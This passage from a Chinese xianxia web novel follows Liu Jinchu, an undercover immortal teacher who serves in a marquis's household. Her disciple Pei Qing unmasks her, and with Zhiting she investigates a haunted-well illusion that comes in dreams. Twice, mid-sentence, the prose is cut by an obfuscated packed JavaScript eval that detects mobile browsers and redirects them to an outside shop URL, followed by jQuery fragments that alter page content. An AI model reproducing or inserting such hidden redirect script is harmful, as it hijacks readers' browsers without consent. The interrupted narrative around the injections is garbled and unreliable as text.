“诶!哪个哟?”回应她的声音似是比她更小些,柳今初不知是不是这屋舍隔音不错还是那老妇离木门稍远了些。 “阿婆您开门便知了!”柳今初道。 等了没多久,柳今初便听见了木门转动发出的吱呀声,迎面而来的还有几分淡淡的柴草炭木味夹杂着一丝粥米的味道。 这么看来柳今初赶上了人家生火煮饭的时候。 “阿婆,您还记着我么?”柳今初没当即摆出自己手上的吃食,而是先寒暄一句。 “你……你是那日的姑娘,老奴怎会不记着!”那老妇仍是初见时那般面黄肌瘦,眼下有着乌青和深深的沟壑。 “快些进来,外头太阳可大着呢。”她声音有些急切,似是那太阳会炙烤了柳今初一样。 柳今初胡一地看了她一眼没做声,只点点头,顺着她拽人的力道让她给带进了屋内。 进去后,柳今初觉着这空间实在有些狭窄了,不过这屋子虽小,却没有一点儿暖意盈室的感觉。 这屋内也安静得很,除了粥米在柴火燃烧下发出的咕噜声,就再没其他声音了,连邻里的交谈声也变小许多,不细细听便注意不到了。 “阿婆,这屋子只有你一人在?”柳今初将手上温热的吃食放在了一张窄小的方木桌上,轻声询问。 老妇应了一声,声音似是带上了几分忧伤的色彩,“那日我也同你说了,我只有一个孩子,就是谦儿,如今我又寻不到他,每日每夜都只是一个人,家中再也没了他的身影,儿时的他昨天还在我梦里呢。” 柳今初听了有些无奈,人间分分合合之事是极为常见的,可无论是谁都无法自然地略过那段日子,尤是对于自己很是重要的人。 “他就只是叫谦儿么?这名字似是小名。”想来想去这种叫法顶多是亲昵的小称,在她看来也不算个表字。 “我不知、不知,但不是我的错,只是、只是问的人……”那老妇原本下垂的沟壑皱纹忽地颤动起来,面上满是愤恨的情绪,但她仍旧安安地坐坐没站起身。 若是站起了身,柳今初都要觉着那老妇要伸出瘦削的双手来狠掐她的脖颈了,指骨又那般明显,想想都觉着喉间漫上了丝丝血腥味。 不过虽是这般想,柳今初面上还是很平静的面上,弯唇温和地笑着,有着干涸水痕的地上投射着的影子也没动半分。 “只是什么?阿婆您莫急,先尝尝这烙饼,方才我来得急都忘了同您说我带了吃食给你。”柳今初推了推桌上的烙饼,指尖已经感受不到它残存的余温了,应是秋风拂过吹凉了。 老妇似是才注意到散发着酱香的吃食一般,低垂下浑浊的双眼,颤巍巍地伸出一只手隔着那层浸满了油的薄纸摸了摸已经凉掉的烙饼。 “只是……我也不知,姑娘,让您破费了,这些吃食要花掉不少钱,怎么就给了老奴我?”阿婆神色忽地变了,又像方才给她开门时一样,有些哑然但并不带有疏离感。 “无妨,我也吃不完,这些吃食都是干净的,我只是分开了,自己想尝尝便吃了一些。”柳今初怕会让老妇觉得有些为难,又想补充几句。 可没等她开口,阿婆倒是先行一步了,“多谢姑娘了,老奴怎会嫌弃这些吃食呢,都是好的,能饱腹便是好的。” 柳今初应了一声,她愈发觉得这阿婆与林谦有关系了,两人都像有什么秘密瞒着身边所有人一般,只是她心中没底,若再与她这样接触,自己又会不会像上次那般掉到不知哪户人家的屋中,又或许是别处。 总之这两人与魔族有纠葛便是了,至于为什么凡间之人会同魔族有交集,她也不知。 不过柳今初觉着近日来, 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柳今初抬眼看着那紧闭的门,细细观察起来,上面的花纹很是精致,水出芙蓉,锦鲤游越,莲蓬簇簇,这般复杂的浮雕也不见有半点灰尘沾染。 “小初。” 一道声音冷不丁地从她身后响起,柳今初一时半会儿没反应过来,在听出来人是谁时,只有无尽的懊悔涌上心头。 她怎么就忘了多少留点灵气用于探查呢! 再怎么样柳今初也只能转身面对,规规矩矩行礼后,她站起身微低着头一副很是恭敬的模样,与平常的下人也无不同。 若是抛开她咬牙切齿的轻微声响的话,确是不同。 她行完礼站着不做声良久眼前站着的人都没有开口,若不是余光看见了他的鞋尖,柳今初都要觉得这人就是悄无声息地来,闲的没事干唤她一声,又默不作声地离开了。 不过除了这样干站着她也没别的应对方法了,她现在是下人,又不能三十六计走为上计。 正当她觉得自己站着都能腿麻时,那人终是启唇开口了。 “或许应唤你季安。” 柳今初站着的身形一顿,慢慢抬起头,不巧的是秋风刮树吹来,她扎着的发不算好,散落的碎发扰眼,她下意识眨眼,迷朦视线间,站在她身前的人高大,没再穿着那身华丽的纹锦衣裳了,而是她熟悉的单调的墨色。 在金灿灿的榆树落叶风中很是刺眼,像是金珠玉宝里多了滴浓黑的墨。 他这么敢就这样出现在侯府里,不怕侯府的人见了会觉得府中忽然多出来的人是什么妖魔么? 更何况他这张脸虽是硬朗的,棱角分明冷冽高洁,可那双狭长的眼又有几分妖色,撤去他身上冷淡疏离的气息,那便是勾人心弦摄人心魄的长相。 柳今初都要觉得原著刻意强调他冷漠淡然的性子是为了中和他过分邪气的样貌了。 24. 第二十四章 柳今初闭了闭眼,再睁开眼时,眼前已然笼罩下来一个熟悉的身影,近乎将她整个人都藏在影子之下。 “怎么不说话?”语气淡淡,可上挑的尾音带着不置可否质问意味。 柳今初不知应是该庆幸他没认出自己真正的身份,还是该沮丧自己这刚做没多久的下人身份就这么轻易地被揭开了。 “裴卿,你……是如何发现的?” 柳今初沉默良久才憋出这一句反问,她现在只觉得自己面上烫得很,照裴卿这语气,他似是很早之前就察觉到了什么,只是不够笃定罢了。 如今直接毫不犹豫地揭穿,她觉得先前的种种用来掩藏身份的行为似是很无用一般,像极了自己搭台唱戏自导自演一般。 裴卿没回应她的反问,转而又问她,似是有些恼火一样,向前踏了一步,力道不浅,柳今初都能听到沉闷的踏地声。 “先前你为就那孩童被卷走,如今却掉到了魔窟里。”他声音沉得厉害,顿了一下又道:“方才又去了哪?你自己心里清楚么?” 柳今初被他问得满头雾水,不知自己做了什么让他这样生气,可听他道来自己也没做些过分的事。 那就只剩下一种可能。 柳今初怀疑裴卿先前就对她提防不浅,现在见她与魔气有关系便是开始确信她就是和魔族一伙的人了。 少女忍着没向后退一步,顺着他强硬的态度也不甘示弱起来,仰头靠近他,眼神澄透不掺一丝慌乱。 “我同魔族没有纠葛,更没有什么关系,只是……”柳今初说到此又有些气愤。 亏她先前还很是照顾裴卿,担心他这担心他那的,生怕他在外面历练始终孤身一人,还唤上芷汀想让他不那么孤单。 毕竟独自走一条空无一人的路,还不知要走多久就必须要有忍耐沉气的毅力。 可这种毅力是在痛苦中长成的,她不相信白纸黑字上的主角就一定能接受自己的苦楚被轻描淡写一笔带过。 “只是、只是你能不能试着相信一下别人。”柳今初说出口后便后悔了,她有时很厌恶自己对别人总是那样充满期待,但有时又觉得希冀很美好,就像她一直在为自己的炮灰命运不甘一样。 她相信自己能躲过那场血腥残酷的仙魔劫。 不过一码归一码,柳今初觉得自己先前和裴卿相处的种种在如今看来确是白费功夫,她还是很气愤的。 一边气裴卿不知好歹,一边又气这徒弟真是有够难对付的。 脑中的杂绪已经糊成一团麻线了,柳今初都没注意到身后的开门声。 直至她被人拉入怀中,几步就藏没入了屋舍外墙旁的花木丛里。 柳今初侧头探看那屋舍的门,木门边上忽低多出了一只白嫩嫩的小手,随后便探出了一颗毛茸茸的小脑袋,身后跟着的是弯着腰欲给小团子戴上风帽的乳娘。 “你先放开,我要找小郎君!”柳今初压着声只短短说了一句。 她没什么时间同裴卿解释,只想快点离开,她还没忘记早晨王妃给她的嘱咐,等小郎君午睡后要带他到她的屋内。 而这小郎君早晨应是玩累了,午休了两个多时辰,眼下已经接近王妃要离开侯府的时候了。 箍着她腰间的手微微松开,随后柳今初就感受到贴着自己背部的温热胸膛一下撤开了。 这时裴卿才似察觉到了这男女授受不亲的姿势,向后退了一步。 柳今初没再多看他一眼,不过她敢肯定裴卿定是还会再找她,毕竟这事也没说清,她也不相信自己三言两语就能让裴卿打消对自己的疑虑。 不过眼下还是王妃的事重要些,她觉得侯府怪处颇多,在这待了几日就察觉到了侯爷所说的怪事频频是什么,而她还没看出什么同魔族有关的端倪来,她还不想现在就被赶出侯府。 理好有些凌乱的衣衫后,柳今初装作平静地来到小郎君跟前行礼,同乳母交代等下要带他去见王妃后便离开了。 从小团子休息的地方到王妃的屋子还是有段距离的,柳今初看着日头日头盯紧时间,抱起小团子就快步来到了王妃的屋子门前。 平息呼吸后,她将小郎君放下,叩门行礼。 许是王妃也看时辰不早了,很快便让她起身,拉着迷迷糊糊的小郎君便又进了屋,只让柳今初在门外候着。 柳今初应下后便寻了一处还算没那么凉的地方站着,开始回忆自己去找林谦娘亲时有没有什么怪异的地方。 思来想去她也只能回忆起吃食的香气和味美的口感,再就是那老妇的怪异举动了,一路过去再到一路回侯府,她都没察觉到裴卿的存在。 柳今初不禁有些感慨,虽说裴卿是男主,可也不至于在短短数月里就晋升得如此之快吧,连她都没法察觉到他的气息了。 可再想想,她现在也并不能算是本体,毕竟她还有部分灵识在宗门,实力自然下降大半。 说起这个,柳今初似是要忘了自己能同时查看两个地方的能力了,她已经很久没有查看宗门的情况了。 眼下王妃与小郎君似是还要相处一段时间,柳今初便开始大肆动用灵力了,既已经被裴卿发现了,她也不用担心自己用灵力会造成什么灵气波动了,这样看她气就消了大半。 在体内运转灵气,直至那熟悉的灵魂出窍的感觉席卷神识,不过柳今初已经不再像先前那般慌乱了,有过第一次的经历她就能很好地把控自己的感受了。 转瞬间眼前便浮现出金碧辉煌的画面,除了许久未见的华丽建筑之外,向她体内涌来的还有充裕的灵气,这股灵气包裹她的神识,让她感觉自己远在凡间的灵识瞬间积聚了浓厚的灵气,连秋日凉风都感受不到了。 柳今初左右看看自己身侧的书卷,大多零零散散地摆放在地面上,她站起身,感觉到自己的境界已经快要突破大乘期后期了。 这种晋升的感觉她第一次体会到,仿若身体如柳絮一样乘风飘扬,但神识和灵识却沉稳得很,像固土下深扎的根须蔓延开来。 这体会很是新奇,这次转化柳今初还能感觉到远在凡间的另一个灵识修为也在增长,而且有些太快了,她没来得及看看这么停止这种自然而然的灵气输 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如她所料,木门轻开,淡淡的香气从屋内传来,柳今初闻不出是什么,不过这屋内应是点了什么香,闻着有燃香木的味道。 “叫人备好车马。还有吩咐下去,这几日侯爷不在府中,我又要带阿云出去庙里住几日。府内的事便让长史君管理。”王妃道。 柳今初行礼应下便吩咐下去了,叫人找来马车又让王妃的贴身婢女点好物品并放置好后,柳今初看着王妃坐着的马车远驰,觉得此行有些怪异。 但忙活时她又听闻侯府请来的道士说要净宅几日,王妃和小郎君自是要离开侯府避一避的而侯爷又恰巧被唤回朝廷行事,正是好时机。 而他们一行下人就只能待在府中,两位暂住的富商她不知道,裴卿才刚找过她却也没说走不走,不过她想就算裴卿和芷汀也要避开这道士净宅的日子,也不会离开太远。 说起这净宅柳今初便能联想到许多,一连几日柳今初都能在夜里听见水的声,滴滴答答的,有时吵得她入不了眠,她实在受不了就用点灵气隔绝开来。 一开始她也只觉得没什么,许是侯府的水井该修修了,直到她有一日用了灵气隔绝后,耳边又传来了那水的滴答声。 柳今初闭着的眼猛地睁开,入眼的是一片黑暗,滴答声也消失了,她还以为是自己近日听多了水滴声梦里也有了。 迷迷糊糊又欲入眠时,耳边的水滴声又响起了,滴滴答答声音渐渐变大,或许说在靠近。 又或许是柳今初在靠近那口井。 柳今初已经闭上了眼,她又回到了梦里,这梦没有断开。 梦里她只能看见一口井,四周都是杂草,再回头看看四周,都是漆压压的林木,没有侯府华丽的屋子。 再看回那口井,柳今初发现自己已经站在了井口边上,一只脚腾空,差一步就要跌入那口深不见底的井里。 有风吹过,她的衣摆纷飞,柳今初定睛一看,这衣衫不是侯府下人穿的。 疼痛猛地从脚底串至脑门。 这不是梦。 25. 第二十五章 柳今初身子一抖,当即运转灵力一步跳开那井好几步远,她又开始张望四周,依旧是昏暗的,树影摇曳,浅看一眼她都觉得像是无数只鬼魂在舞动爪牙,伸长了脖颈,猛探着头似是要将她团团围住再拆吃入腹。 这番场景妖邪极了,柳今初感受到自己的身子在发着抖,她按下微颤的手臂,想要强迫自己镇静下来。 她来到这世界十几年,一直是处在衣食无忧的宗门坏境里,即便是在九妖山也没遇见什么怪异之事,最多也只是妖兽肆虐而已,总归是实实在在存在的,她看得见打得到,见多几次便能习惯了。 可这奇异诡谲的地方她还是第一次来,面对未知的东西她多少会是恐惧的。 可眼下她是孤身一人,只能攥紧自己腿侧的衣摆,尽可能冷静下来,理顺自己的呼吸,可实在按不住蹦跳的心脏,似是要跳出她的喉咙,逼得她也跟着跳进井里一样。 这样的设想一下便浮现在脑海里,柳今初刚平稳的呼吸瞬间因恐惧止住,肺中的空气被尽数抽干,五脏六腑传来撕裂一样的疼痛。 脸颊处传来湿润的感觉,柳今初颤抖着松开捏着衣摆的手,抬起触摸那湿润,她以为是泪水,自己还是第一次被恐惧逼出泪水来。 可这触感不像泪水,更浓稠一些。 她看着手上粘腻的液体,看不清是什么只知道是黑的,它本来的颜色应不是黑的,可这夜太黑了让她看不清是什么颜色,她没法笃定这是什么。 忽地一阵阴风吹来,先是缓缓地拂过她的脸颊,随后卷起她长长披散在背的黑发,接着柳今初双眼睁大。 她又回到了井边。 没等她惊叫出声,指尖传来刺痛,感官被吸引,她视线移向指尖,沾染了黑色的地方碎成了沙粒,随风拂撒空中,她看不清了,指尖断开了,撕裂感瞬间席卷头脑。 感受着疼痛,她瞬间清醒了,又是黑。 柳今初连忙伸手摸向那个指尖,是完好的,温热的,触感传来,这指尖也是她的。 现在真的是梦,她醒了。 让她意外的是,自己的呼吸很平静,像是从没有没有陷入梦魇一般。 或许说的确没有,毕竟痛感是清晰的,她也想把刚才的一切归结为恶梦,可太疼了说不清是那个指尖还是五脏六腑,还是现在平稳跳动的心脏。 柳今初只能睁着眼直至天明。 不过这次惊险过后,她就没再听到滴答的水声了,只是和侯爷一样,她也遇到了被人拉扯衣摆的事,回头一看身后也是空无一人。 以她的修为察觉这些行恶事的人不难,可她从来没有一次提前发觉过,这便不是人能做的了。 不过这些细碎的怪事多了,她便也没那么怕了,毕竟这似乎就是一般的捉弄,她身体倒是没有任何不适,也没有受伤。 想到这里,柳今初决定还是要稍微放下点面子,同裴卿和芷汀说说,这样也好让裴卿改变对自已的怀疑看法。 现在时机也巧,侯府三位大主子都离开了侯府,加之裴卿也识出了她的第一层身份,对付府中的下人动动手指便可。 思索间她已经来到两位富商的住处,柳今初没叩门,直接推门踏入屋内。 入眼就是一双沉默盯着自己的狭长双眸,他环手抱胸,还是那身衣裳,交领黑衣,小臂处的袖口被皮质臂带包裹收紧,干净利落。 柳今初迈进的步子又向后退了,她忘了自己还是季安,这样一声招呼不打熟念地进他的屋子似是有点不妥。 算了,那便当季安就是个不讲究的人了,她也不想圆谎了,毕竟眼下还是魔族气息的事情要紧。 她觉得那场梦不算梦的梦多少与魔族有关。 但她对魔族的了解很少,在这个世界她从来没有真正接触过,而在现实,她也只看了小说的一部分,只知道魔族行事诡谲,手段残忍恶劣,生吞活剥、献祭已不罕见。 魔界就是妖邪之物聚集之地,各式歪门邪道和奸邪的晋升之术横行,就连魔界也是混乱至极的,魔族仅是魔界千族万帮中的一个。 不过魔族能让仙界这般重视,自是高于其他族派的,但如今魔族被压制封印在远东海域,魔界其他族派便开始蠢蠢欲动,但又各自觊觎对方,实力深浅不一,自然掀不起什么风浪和波澜。 仙界同魔族相对峙时便元气大伤,便只是对这些族派有所忌惮却是到不了出手镇压的地步了。 柳今初便能笃定魔族现在已经能够打破封印了,毕竟单单只是魔族就能让整个仙界元气大伤,就算被封印也能在凡间闹出乱子,甚至肆意让魔族气息横行至仙界,引得众人惊乱。 “裴卿,我有要事要同你与芷汀商议。不过事先说好,先前我被黑雾卷走的事我自己也不清楚,那孩子也不知去处,不过……你可知他叫什么?”柳今初似是才想起,裴卿一直没见过她收下的第四个亲传弟子,不知道那少年就是林谦。 “不知。”裴卿掌心里忽地出现一张黄色符纸,上面有熟悉的红色图案,见他手心的符纸上的红字发出浅淡的光随后便化作星星点点的灵气消散在空中。 下一瞬柳今初便被人揽住了手臂,她侧眸一看便见着了芷汀笑盈盈的脸。 “季安姑娘,我方才悄悄去了集市。”芷汀将另一只手抬起,是纸袋包裹着的温热的栗子,散发着淡淡的甜香。 “先尝尝吧,不然凉了可不好吃了。”芷汀拉着她坐下,怕她干吃栗子觉得口干,又道:“裴卿,借壶茶水可好?” 没等裴卿应答,芷汀已经倒好了一杯递给柳今初。 “多谢芷汀姑娘。”柳今初也没客气,掰开一颗尝了尝,觉得着板栗炒得真好,甜糯软绵,回味甘甜,心情瞬间就好多了。 “不过芷汀你去集市做什么?定然不只是买些栗子吧。”柳今初又剥了一粒递给她。 芷汀咬下栗子,含糊开口,“自然不是,裴卿说魔族气息有部分出了侯府,我便去看看,他留在府中。” “说到这里,侯府似是除了魔族气息还有些其他气息,只是我们也不知是什么。” 柳今初听完也没觉得有多惊讶,让她觉着怪的还是芷汀这样平静的语气,似是很不奇怪她的存在一样。 “芷汀,你也早就发现我是季安了么?”柳今初道。 芷汀点点头又摇摇头,不确定道:“倒也不算,我只是今日听裴卿说的。不过先前我很是担心你,现在听裴卿说你在府中过得不错,我才放心的,你不知我做梦都担忧你呢!” 说到梦,柳今初像是想到了什么,视线难以聚焦像是走神了一样,“说起梦,我也算是遇到了侯府的怪事了。” 话音落地,柳今初就感受到自己身侧袭来轻轻的风,有淡淡的墨香传来,细细嗅闻还能闻到木质沉香,不过她不知是什么香木。 “遇见了井对么?”裴卿沉声开口。 这是他们第二次对话,柳今初觉得他方才没出声应是在想什么,她倒是猜不透,自从徒儿长大成少年后她就再也猜不到他在想什么了。 以前几串糖葫芦,几个柿饼就能让他话多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17798957|210434||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 起来,现在她觉得和徒儿都生疏了。 说起柿饼,她倒是没见裴卿吃过,那不成为了辟谷真的连自己最喜欢的吃食都不看一眼么,或许他能做到这个地步吧。 至于她,她不愿辟谷,即便自己已经要到渡劫期了。 “嗯,你是如何知道的,你也梦见过?”柳今初抬眼看他,她坐着而他站着,又那般高,她仰着头都觉得会让脖颈疼。 “嗯。这不是梦,更像是幻境。”裴卿不紧不慢地给自己倒了杯茶水,递到薄唇边未饮下,又搁置在桌上,“不过,我也说不清。” “你们都见过那井,为何我不曾见过。不过……倘若这真是幻境,对于符修来说便是不难的。”芷汀推了推手边的栗子壳,“那么就是有意避开符修了。” 芷汀的话倒是让柳今初想到了什么,少女眼睛闪过一丝亮光,这样一来,幻境的确是有可能的,而自己面对这种险境的经验是在匮乏,只空有丰沛的灵力,而在那时她也未曾没有想过要用灵力护身,可就是运转不起来。 “裴卿,你是何时进入那幻境的?”柳今初虽对未知有恐惧,可也会参杂对它的好奇,因为她认为只要认识了未知那它便会变成已知,这样一来就不能对她造成什么威胁了。 “昨日。”他垂目,将茶杯拾起一饮而尽。 柳今初见他喝茶,才发觉自已说话说着也口干了,欲倒一杯给自己,刚将壶嘴对准自己的茶杯,正欲抬起壶身倒茶,她的茶杯却被移开了。 她动作没能及时停住,茶水已经灌出,被另一个紧靠过来的茶杯接住。 柳今初皱眉抬头,递来这茶杯的手骨节分明青筋微微凸起,黑色的袖口束起,一看便知是谁的。 “做什么?”柳今初看得出裴卿有意这么做,就好像早就等在这了一样。 逆徒。 要是她现在是师尊的身份,给裴卿一百个胆他都不敢这样冒犯。 深吸一口气,柳今初在心里默念清心诀,这诀比很多诀语都要好记,加之原主也记了不少诀,她背念起来也轻松极了,而且重要的是这诀是在有效。 “算了,我大人有大量,不同你计较。”柳今初移开壶身,给自己倒满茶水,又给芷汀也倒,“还是芷汀好,给我买栗子,不像某人还抢人茶水喝。” “嗯,是大人有小量。” 芷汀听了似是觉得两人拌嘴好笑,轻笑出声,“季安我们不同他计较。” 说着芷汀伸出手捏住茶杯同柳今初碰了碰。 “嗯。说回正事,裴卿你说说你这幻境里都遇到了什么事?”柳今初做了也有十几年的师尊了,再怎么样都是能沉得住气的。 “除了每次看向四周都会险些掉进井里,还在醒来时看见了黑影。从外形来看,应是人而不是什么妖兽。”裴卿道。 黑影,人,柳今初没遇见,可她觉得自己还会再进入那幻境,应是下次,那人便会来找她。 有了一次,便会有第二次,毕竟第一次那人可没对她做什么,就只是为了吓唬她一样,不过也是成功了。 不过她是怎么进去这幻境,又是怎么出来的,如果是被动的,那下一步棋又该怎么走? 似是能察觉人心,裴卿开口说道:“想知道怎么进去幻境,可能需要一同行动。” 听他这么一说,柳今初觉得他虽是昨日才进入幻境的,可看样子却很是了解这幻境,而且他还能知道她自己也进去过。 “如何做?”柳今初想听听他的法子。 “一同入眠便好。” 26. 第二十六章 “一同入眠?怎么入,排排躺着么?我们这样会在幻境里分开么?”柳今初抬眼看他,不太理解这句话的含义。 “嗯。不过我也不知会不会分开。”裴卿简短回应。 “不过,芷汀能不能顺利进入幻境,我也说不准。”他将指节抵在唇上,垂眸思索,身后高高束起的发丝晃动,有风袭来。 “那芷汀姑娘可有什么符纸能派得上用场?”柳今初试探着问,她依稀记得原著里芷汀会写藏身符。 听到这句话,芷汀撑起身子坐直了腰,“有是有,不过这藏身符有些要求,用者会变幻形态依附在被贴上符纸的人身上,似是会变成一些随身物品,如玉佩这一类东西。对别贴上符的人来说也会收到局限,那便是必须以原身的形式存在。” “这样一来,你和裴卿便有一方不能幻化成其他形态对付那造化幻境之人了。” 柳今初听到这身形一顿,她对藏身符没多大印象了,只知原著里有一段情节,是芷汀用了藏身符化作了裴卿的护腕才得以通过对她来说有局限的结界。 “那便用这法子。”裴卿淡声开口,尾音很轻,让人听了觉得算是用气音发出来的。 柳今初已经停下抛板栗的动作了,只盯着空空的纸袋,将几枚栗子一颗一颗地放回,心也跳得厉害,比方才被抛起落下的栗子的速度还要快些。 她没出声,只怕自己说多错多,又懊悔自己搬起石头砸自己的脚的提议,不过她还是在心里给自己留了些宽慰,过来这么久她不记得些细节也是正常的,只是往后要想借记忆用用便只能抱着开盲盒的心态了。 “我与谁用好些?”芷汀语气轻轻,微垂着眸,没把话说全。 柳今初听了却是一喜,裴卿的心思她不知,芷汀的她还一窍不通么?这姑娘别人一瞧便知道心里藏了一些事,不过裴卿这种一向独来独往的人自然不会察觉半分。 “芷汀,裴卿你们如今修为到了什么地步?”柳今初抓住苗头就问,将包着栗子的纸袋规规整整地折好。 “金丹后期,不过要想突破元婴期还需要些功夫。”芷汀浅浅一笑,坦然开口。 “同芷汀差不多。”相比于芷汀的解释,裴卿更简短许多。 “那两位还是落后于我,我只差一点儿便能突破元婴期了。”柳今初说着心里更有底了,这样看来自己修为突飞猛进也不算是什么太大的坏事。 “嗯。” 正欲再趁热打铁呢,唇刚张开一半,柳今初就听到了裴卿的话,她想忽略,可就是成功被他打断了一下,顿了一下她又道,“既然这样,那便让两位一起吧,好有个照应。” “而且我看两个年纪差不多大,我又是年长于你们的。”柳今初怕两人起疑,作出一副长者为先的模样。 “那、那季安你多多注意,我留些符纸给你。”说着芷汀已经拿出几张写好的符纸推向柳今初手边了。 柳今初欣然接过,对芷汀很是感激,眉眼弯弯笑得很是明媚,不单是她给她符纸这件事,更是她无意间救了她一命。 待芷汀化作那黑色的护腕后,柳今初盯着裴卿换下自己右手的护腕,又眼不眨地看着他将新的护腕细致扣好。 原来就是这一节点,那她记混了,是幻境而不是结界,可这差得也太多了,她都要怀疑现在的剧情走向已经乱成一锅粥了,怎么现在发生的种种或许说是她遇到的种种都在脱离原著的主线呢。 柳今初屏住呼吸,又慢慢呼出,吸入新的空气后,她将思绪拉回,总之这一定是自己多想了,事情定然不会像自己想象的那么严重糟糕的。 “看完了就躺下。” 裴卿这样冷不丁开口,吓了柳今初一跳,她眨了下眼,反应过来暗自咬着齿看了他一眼又移开视线。 “这么?”柳今初伸出手指了指那张整整齐齐铺好的床榻,这么一看这张床可睡的地方可比她的大上许多,她住的倒座房只有几张大床踏,却要同很多人挤在一起。 裴卿将身后背着的剑摘下后,点点头,“然后服下这个。” “嗯?这是什么,没毒吧?”柳今初见他将那柄长剑拿着,剑尾长长拖着地,空着的手上有一个小巧的青玉瓶子。 他没直接回应,只自顾自取出一枚圆滚滚的丹药吞入口中,咽下后道:“能让人快速入眠。” 柳今初见他动作干脆,便向他伸出手摊开掌心,“我们都要躺在这一张床踏上么?这样就能一同进入幻境?” 柳今初觉得这样就能进入幻境未免太过轻松了,不禁起了疑心,甚至开始怀疑眼前站着的人或许不是真正的裴卿了,可用灵力探查却让她大失所望,这就是货真价实的裴卿。 “还需将血滴入水中。”裴卿将青玉瓶子递给她,随后转身走向木桌处,将茶壶抬起倒了一杯茶水。 柳今初将青玉瓶子的盖子打开,取出一枚同裴卿先前吃下的一模一样的丹药,放在掌心左右看了看,她本是不认得的,可心底总有一丝熟悉的感受她说不上来,不过这种熟悉感并不让她惊慌。 咽下后,她便能感受到指尖处传来淡淡的酥麻感,看来这丹药入口便见药效了,裴卿是从哪得来的,她在宗门怎么没见过,还是说她同丹清宗的长老打得交道太过稀少了。 不过仔细想想她似乎没单独与其他长老会面过,至于原主她便不知了。 “血?”柳今初见他眼都不眨地划开了自己的掌心,盯着那红艳艳的鲜血滴入那杯茶水中。 她没当即随他的话划破手挤出血,柳今初回想了一下,自己进入幻境那日好似也破了口,又让伤口沾了水。 不过她用了灵气修复伤口,这举动和呼吸一样容易被她忽略,不过细细忆起那日,她记得被花木粗粝的枝干划破手侧的轻微刺痛感,而她那时正握着浇花壶,碰到水自然是很常见的事了,更何况她那日确是在浇完花木后双手是湿润的。 听她狐疑地问,裴卿缓步走过来,抬起自己已经愈合的手心道,“用灵力不疼。” 柳今初听了弯唇笑起来,从胸腔里发出了轻轻浅浅的气音。 她哪是在怕疼,分明是在怕他骗她。 柳今初忽地发现裴卿有时总会注意到这些细枝末节的小事,就如带他去凡间过元宵那日,他递给她的元宵汤圆是温的,热气散得那样快,四周又有灵气的波动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17800455|210434||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,不是他在做事又是谁。 见她笑,裴卿似是不明所以,一时也不知要如何开口,面上凤眸仍沉沉的,轻抿着唇,似只是觉得这样的笑他曾见过一样。 “被你看穿,我确是怕疼的那类人。”柳今初瞥他一眼,径直走向木桌前,划开掌心盯着自己的血滴入那杯茶中。 淡绿的茶水已经侵染了鲜红,现在已是黄褐色了,她再挤入一滴自己的,那颜色便更深,深褐色从中心蔓延,直至整杯茶水都变成深褐色。 “那我们去躺着?我确是有些困了……先走一步。”柳今初滴完血觉得指尖处传来的酥麻感更明显了,脚步也开始不稳,似是走着走着便能飘起来一般。 不过在倒地之前她还是要好好躺在舒服的床踏上的,她昨日睡得也不算好,今早起来也打着哈欠,眼皮松弛,到了要用灵气强行抵消困意的地步。 说到便做到,柳今初迈着轻浮的步子,几步并做一步来到床踏边,坐下掀开被褥,动作停了一下,半睁着迷蒙的眼将鞋褪去躺好就想合上了眼,丝毫没有想和困意做抵抗的想法。 作为入眠极为困难的人,她恨不得每日睡前都服用一颗这丹药。 不过她还是没完全闭上双眼时,看见了模糊的黑影,看这精硕的身形便知是裴卿,黑影在靠近但后来停下来,再后来她就不知道了,眼已完全合上。 周遭静得只能听见自己平稳的呼吸声,还有瑞炭斯斯燃烧的轻微声响,鼻尖还有说不清的木香萦绕,让人很是情愿地安心入眠。 * 这法子果真是对的。 这是柳今初再次站在黑洞洞的井口边缘的第一个想法,她这回学乖了,只心平气和地向后退,没再到处看,只注意着耳边狂呼的风声,冷冽极了,她搓了搓手臂,开始想念屋内瑞炭的温暖。 垂眼看自己的衣着,和上次一样都不是婢子穿的圆领襦裙,而是齐胸襦裙和她在宗门里穿的那身很像,近乎只是颜色有异而已。 不过她来不及多想什么了,只能笃定的是这能造出幻境的人绝不是什么常人,定是和仙界有纠葛的人,或许是与她,与原主有着什么纠葛,总之她说不清。 眼下重要的还是与裴卿和芷汀会面,她是成功来到这幻境了,可耳边的风声呼得厉害,她近乎听不清风声以外的其他声音,连同她鼓动的心跳声也弱得听不清。 可她的衣摆仍是安静的垂着,若只是看她的襦裙和发丝,旁人怕是猜不出这还有风声来。 柳今初捏着衣摆,指尖传来润湿的触感,她觉着自己的衣裙上应是沾了井水,变得像是有些被濡湿的触感。 柳今初很是像回头看看,或是左右看看,可她记着若是她四处张望便会回到井口边上,一步便会跌入永无止境的深渊之中,似是拼了命爬也爬不出一般。 这样只能干站着,又没法用手捂住耳或是用灵气将风声盖住,柳今初便觉得很是急躁。 像是心里有了根细短的刺,只浅浅扎入,让四肢百骸都难感受到因它发出的轻微刺痛,察觉疼痛不难,可要寻它究竟在何处才是难。 “别回头,是我。将手里的花瓣松开便好了。” 27. 第二十七章 花瓣?柳今初没回头,她仍记着不能四处张望,只捻了捻指尖,感触到了指尖处传来的濡湿柔软的触感。 